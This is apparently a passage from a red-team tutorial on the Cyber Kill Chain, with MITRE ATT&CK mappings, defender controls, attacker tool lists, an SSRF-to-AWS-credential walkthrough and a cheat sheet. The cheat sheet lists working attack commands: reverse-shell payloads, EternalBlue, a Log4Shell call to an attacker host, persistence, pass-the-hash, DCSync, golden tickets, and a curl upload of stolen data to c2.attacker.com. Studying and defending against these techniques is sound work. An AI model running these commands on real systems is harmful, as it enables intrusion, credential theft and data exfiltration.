MITRE ATT&CK — Corp.local Engagement Technique Mapping		
RECON	T1591	Gather Victim Org Info
	T1589	Gather Victim Identity Info (Email)
	T1596	Search Open Technical Databases (DNS)
RESOURCE DEV	T1587.001	Develop Capabilities: Malware
	T1608.001	Stage Capabilities: Upload Malware
INITIAL ACCESS	T1566.001	Phishing: Spearphishing Attachment
	T1204.002	User Execution: Malicious File
EXECUTION	T1059.005	Command Scripting: VBA Macro
	T1106	Native API
PERSISTENCE	T1547.001	Registry Run Keys
	T1053.005	Scheduled Task
PRIV ESC	T1068	Exploitation for Privilege Escalation
CRED ACCESS	T1003.001	LSASS Memory (Mimikatz)
	T1003.006	DCSync
LATERAL MOVE	T1550.002	Pass-the-Hash
	T1021.002	SMB/Windows Admin Shares
EXFILTRATION	T1041	Exfil Over C2 Channel

```

└─# _

```

Figure: MITRE ATT&CK; technique mapping for corp.local engagement — techniques across all 7 phases



RTG NOTE

MITRE ATT&CK has 14 tactics — the Kill Chain only has 7 phases. ATT&CK adds Discovery, Lateral Movement, Collection, and Defence Evasion as separate tactics.
Use ATT&CK Navigator to build a heat map of techniques for red team reports.



13 — KILL CHAIN IN DIFFERENT ATTACK TYPES

How the Chain Looks for Ransomware, APT, and Bug Bounty

Ransomware Attack Kill Chain

Phase	Ransomware Execution
Recon	Identify RDP exposed on internet (Shodan), find email via OSINT for phishing
Weaponise	Compile ransomware binary + dropper, set up C2 (often Cobalt Strike)
Deliver	Phishing email with malicious link or exploit public-facing RDP/VPN
Exploit	RDP brute-force/cred stuffing, or user clicks malicious link
Install	Deploy Cobalt Strike beacon, establish multiple persistence mechanisms
C2	Cobalt Strike HTTPS C2, internal SMB pivoting to all reachable systems
Actions	DCSync all creds, exfil to cloud storage, deploy ransomware across domain

Nation-State APT Kill Chain

Phase	APT Execution
Recon	Months of passive OSINT, supply chain mapping, social network analysis
Weaponise	Custom 0-day exploits, novel malware families with anti-sandbox features
Deliver	Spear-phishing via trusted contacts, supply chain compromise, waterhole
Exploit	0-day browser/document exploit, no user interaction required
Install	Kernel rootkit, UEFI implant, domain-wide WMI persistence
C2	Domain fronting, steganography in images, legitimate cloud services
Actions	Years-long access, IP theft, OT/SCADA sabotage, strategic intelligence

Bug Bounty / Web App Kill Chain

Phase	Bug Bounty Execution
Recon	Subdomain enum (subfinder, amass), endpoint discovery, JS analysis
Weaponise	Craft exploit PoC — XSS payload, SQLi string, SSRF URL
Deliver	Submit malicious input via web form, API endpoint, header injection
Exploit	IDOR, SSRF, SQLi, Auth bypass, Business logic flaw — achieve impact
Install	N/A — bug bounty stops at demonstrate impact, not persistence
C2	N/A



Actions	Demonstrate: data access, account takeover, RCE PoC for report
---------	--



14 — BREAKING THE KILL CHAIN: DEFENDER PERSPECTIVE

How Blue Teams Disrupt Each Phase

The Kill Chain is equally valuable as a defensive framework. The key insight: defenders only need to successfully disrupt the attacker at ONE phase to prevent the attack from reaching its objective. Defence-in-depth means having controls at EVERY phase — so even if the attacker gets through Phase 3, they are caught at Phase 5.

Phase	Defensive Control	Detection Method
Recon	Reduce attack surface, OSINT monitoring	Web logs, DNS queries, Shodan alerts
Weaponise	Threat intel feeds, malware sandbox	IOC matching, AV hash DBs
Delivery	Email gateway, attachment sandbox, URL filter	DMARC, anti-phishing, AV gateway
Exploit	Patch management, EDR, app whitelisting	EDR alerts, memory scan, AMSI
Install	FIM, registry monitoring, Sysmon	Event 4698 sched task, Autoruns
C2	Firewall egress, proxy, NDR	Beaconing detection, DNS anomalies
Actions	DLP, honeypots, UEBA, PAM	Large data moves, off-hours, DCSync

Phase	Response Action
Recon	Patch public assets, remove exposed data, harden DNS
Weaponise	Block known C2 IPs/domains, update AV and EDR signatures
Delivery	Block sender, quarantine email, run phishing simulation training
Exploit	Isolate compromised host, block execution, begin forensics
Install	Remove all persistence entries, restore from verified clean image
C2	Block C2 IP/domain at firewall and proxy, isolate compromised host
Actions	Full IR: isolate domain, reset all creds, DCSync detect, DFIR

RTG NOTE

Detect early — Phase 3 detection always beats Phase 7. Every phase you miss = more damage done
Most orgs only detect at Phase 6 (C2) or Phase 7 (DLP alert) — by then damage is done.
Focus detection engineering investment on Phases 4 and 5 — exploitation and persistence.



15 — KILL CHAIN FOR BUG BOUNTY HUNTERS

Chaining Bugs for Maximum Impact

The Kill Chain concept is invaluable in bug bounty because it explains how to chain multiple lower-severity vulnerabilities into a critical-impact finding. A P3 SSRF + a P4 IDOR + a P4 information disclosure can chain to a P1 account takeover — demonstrating real attacker-style thinking.

\$ Bug Bounty Kill Chain — SSRF to Cloud Takeover

```
# Example bug chain: SSRF + metadata → Cloud creds → Account takeover

# Step 1: Recon — find internal endpoints via JS analysis
cat app.js | grep -E 'api|endpoint|internal|localhost'
# Found: fetch('/api/fetch?url=...') ← potential SSRF

# Step 2: Exploit SSRF to reach internal metadata service
curl 'https://app.corp.com/api/fetch?url=http://169.254.169.254/latest/meta-data/'
# Output: ami-id, instance-id, iam/

# Step 3: Extract IAM credentials via SSRF → metadata
curl 'https://app.corp.com/api/fetch?url=http://169.254.169.254/iam/security-credentials/'
# Output: AccessKeyId, SecretAccessKey, Token

# Step 4: Use IAM creds — escalate to full AWS account access
export AWS_ACCESS_KEY_ID=ASIAXXX
export AWS_SECRET_ACCESS_KEY=xxxxxx
export AWS_SESSION_TOKEN=xxxxxx
aws sts get-caller-identity
aws s3 ls ← list all S3 buckets
aws iam list-users ← enumerate IAM

# Report: P3 SSRF → chained to P1 Cloud Account Takeover
# Impact: Full access to production AWS environment
# CVSS: 9.8 (Critical) via attack chain
```



16 — UNIFIED KILL CHAIN: THE EXTENDED MODEL

18 Phases for Modern APT Operations

The Unified Kill Chain (UKC), proposed by Paul Pols in 2017, extends the original 7-phase model to 18 phases to account for modern APT behaviour including lateral movement, privilege escalation, and repeated cycles of actions within the target.

#	UKC Phase	Maps to Kill Chain	MITRE Tactic
1	Reconnaissance	Phase 1	Reconnaissance
2	Weaponisation	Phase 2	Resource Development
3	Delivery	Phase 3	Initial Access
4	Social Engineering	Phase 3	Initial Access
5	Exploitation	Phase 4	Execution
6	Persistence	Phase 5	Persistence
7	Defence Evasion	Phase 5/6	Defence Evasion
8	C2	Phase 6	Command & Control
9	Pivoting	Phase 6	Lateral Movement
10	Discovery	Phase 7	Discovery
11	Privilege Escalation	Phase 7	Privilege Escalation
12	Execution	Phase 7	Execution
13	Credential Access	Phase 7	Credential Access
14	Lateral Movement	Phase 7	Lateral Movement
15	Collection	Phase 7	Collection
16	Exfiltration	Phase 7	Exfiltration
17	Impact	Phase 7	Impact
18	Objectives	Phase 7	—



17 — TOOLS MAPPED TO EACH KILL CHAIN PHASE

The Attacker's Toolkit — Phase by Phase

PHASE 1 — RECONNAISSANCE

Tool	Purpose
theHarvester	Email/subdomain OSINT harvesting
Maltego	Visual OSINT relationship mapping
Recon-ng	Modular web reconnaissance framework
amass	In-depth subdomain enumeration
Shodan	Internet-connected device search engine
trufflehog	Find leaked secrets in GitHub/GitLab repos
dnsx / subfinder	Fast DNS and subdomain enumeration
nmap	Port scanning and service discovery
Aquatone	Visual reconnaissance of web targets

PHASE 2 — WEAPONISATION

Tool	Purpose
msfvenom	Payload generation framework (Metasploit)
Cobalt Strike	Advanced adversary simulation platform
Sliver	Open-source cross-platform C2 framework
Havoc	Modern open-source C2 framework
donut	In-memory shellcode generator from .NET/PE/VBScript
nim-beacon	Nim-based beacon for AV evasion
macro_pack	Office macro obfuscation and packaging

PHASE 3 — DELIVERY

Tool	Purpose
GoPhish	Open-source phishing simulation platform
swaks	SMTP testing and email delivery tool
King Phisher	Phishing campaign toolkit
evilginx2	Reverse proxy phishing with session capture



Bash Bunny / Rubber Ducky	USB HID attack platforms
SET (Social Engineer Toolkit)	Comprehensive social engineering framework

PHASE 4 — EXPLOITATION

Tool	Purpose
Metasploit Framework	World's most used exploitation framework
sqlmap	Automatic SQL injection and database takeover
Burp Suite Pro	Web application security testing platform
exploit-db	Database of public exploits and PoCs
BeEF	Browser exploitation framework for XSS campaigns
nuclei	Fast vulnerability scanner with template library

PHASE 5 — INSTALLATION

Tool	Purpose
SharPersist	.NET persistence toolkit for red teams
PowerView	AD enumeration + ACL-based persistence
Invoke-Persistence	PowerShell-based persistence script collection
mettle (Metasploit)	Persistence post-exploitation module

PHASE 6 — C2

Tool	Purpose
Cobalt Strike	Industry-standard red team C2 platform
Sliver	Open-source Go-based C2 with mTLS/DNS/HTTPS
Havoc	Modern C2 with Kerberos auth support
Brute Ratel C4	Commercial adversary simulation platform
Metasploit	Multi-handler and stager C2
Covenant	.NET C2 with web interface

PHASE 7 — ACTIONS ON OBJECTIVES

Tool	Purpose
Mimikatz	Credential extraction and ticket manipulation



impacket	Python tools for SMB, DCSync, secretsdump
BloodHound	AD attack path and relationship visualisation
CrackMapExec / NetExec	Swiss army knife for network exploitation
7-Zip / rclone	Data staging and exfiltration to cloud
Rubeus	Kerberos ticket abuse toolkit



18 — KILL CHAIN CHEAT SHEET & QUICK REFERENCE

Everything in One Place

Phase 1 — Recon (Passive)	theHarvester, Shodan, amass, subfinder, trufflehog, Google dorks, LinkedIn
Phase 1 — Recon (Active)	nmap -sV -sC -O -p- --min-rate 5000 TARGET, enum4linux-ng, dnsrecon
Phase 2 — Weaponise	msfvenom -p windows/x64/meterpreter/reverse_https LHOST=X LPORT=443 -f exe
Phase 2 — Macro payload	msfvenom -p windows/x64/meterpreter/reverse_https LHOST=X LPORT=443 -f vba
Phase 3 — Phishing	swaks --to TARGET --from SPOOFED --attach PAYLOAD --server SMTP
Phase 3 — GoPhish campaign	Configure: Sending Profile → Email Template → Landing Page → Launch
Phase 4 — MS17-010 exploit	msf> use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS; run
Phase 4 — SQLi exploitation	sqlmap -u 'URL?param=1' --dbs --batch --os-shell
Phase 4 — Log4Shell	curl -H 'X-API: \${jndi:ldap://attacker:1389/x}' https://TARGET/
Phase 5 — Registry persist	reg add HKCU\...\Run /v Name /t REG_SZ /d C:\path\payload.exe /f
Phase 5 — Sched task persist	schtasks /create /sc ONLOGON /tn TaskName /tr C:\path\payload.exe /ru SYSTEM /f
Phase 5 — WMI persist	Set-WmiInstance -Namespace root\subscription -Class __EventFilter ...
Phase 5 — Meterpreter persist	run post/windows/manage/persistence_exe STARTUP=REGISTRY
Phase 6 — Meterpreter migrate	migrate ← move into svchost.exe or explorer.exe
Phase 6 — Sliver C2 start	sliver > generate --http c2.attacker.com; sliver > http --lport 443
Phase 6 — DNS C2 pivot	Encode data in DNS subdomain queries to evade HTTP/S inspection
Phase 7 — PTH lateral move	impacket-psexec DOM/USER@TARGET -hashes LM:NTLM
Phase 7 — DCSync	impacket-secretsdump DOM/admin@DC -hashes LM:NT -just-dc-ntlm
Phase 7 — Golden Ticket	mimikatz: kerberos::golden /user:Administrator /domain:D /sid:S /krbtgt:H /ptt
Phase 7 — Data exfil	curl -F 'file=@data.7z' https://c2.attacker.com/upload
Phase 7 — Cover tracks	meterpreter: clearev timestamp FILE -z
MITRE ATT&CK; reference	https://attack.mitre.org — full TTP database with detection guidance



ATT&CK; Navigator	https://mitre-attack.github.io/attack-navigator — heat map builder
Unified Kill Chain reference	https://unifiedkillchain.com — 18-phase extended model



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